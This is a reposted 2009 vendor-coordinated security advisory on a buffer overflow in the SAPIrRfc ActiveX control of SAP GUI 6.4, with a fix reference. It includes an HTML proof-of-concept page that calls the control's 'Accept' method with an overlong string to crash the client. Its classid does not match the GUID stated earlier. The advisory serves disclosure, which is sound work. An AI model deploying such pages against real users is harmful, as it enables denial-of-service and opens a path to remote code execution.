[DSECRG-09-015] SAP GUI 6.4 Buffer Overflow vulnerability

2009-06-08T00:00:00
ID SECURITYVULNS:DOC:21961
Type securityvulns
Reporter Securityvulns
Modified 2009-06-08T00:00:00

Description

Digital Security Research Group [DSecRG] Advisory #DSECRG-09-015

Original Advisory: http://dsecrg.com/pages/vul/show.php?id=115

Application: SAP GUI for Windows, EnjoySAP Versions Affected: Version 6.4 Vendor URL: http://SAP.com Bugs: Buffer Overflow Exploits: YES Reported: 13.11.2008 Vendor response: 17.11.2008 Date of Public Advisory: 08.06.2009 CVE-number:
Author: Alexander Polyakov Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description


SAP GUI for Windows version 6.4 contains ActiveX component SAPIrRfc which is vulnerable to Buffer overflow attack.

file = sapirrfc.dll GUID = F6908F83-ADA6-11D0-87AA-00AA00198702

Details


Attacker can construct html page which will call vulnerable function "Accept" from ActiveX Object SAPIrRfc with long parameter. When user open this vulnerable page it will occur DOS (Example 1) or full remote control on target system (Example2 execute calc.exe aviable by request) .

Example1:


<html> <object classid='clsid:77F12F8A-F117-11D0-8CF1-00A0C91D9D87' id='target' /> <script>

arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

target.Accept arg1

</script> </html>

Fix Information


The issue has been solved. See SAP note 1286637.

References:


SAP note 1286637

https://service.sap.com/sap/support/notes/1286637 http://dsecrg.com/pages/vul/show.php?id=115

About


Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsecrg [dot] com http://www.dsecrg.com

Regards, Alexander Polyakov Digital Security Research Group [DSecRG]


DIGITAL SECURITY tel/fax: +7(812)703-1547 tel: +7(812)430-9130 e-mail: research@dsecrg.com web: www.dsecrg.com


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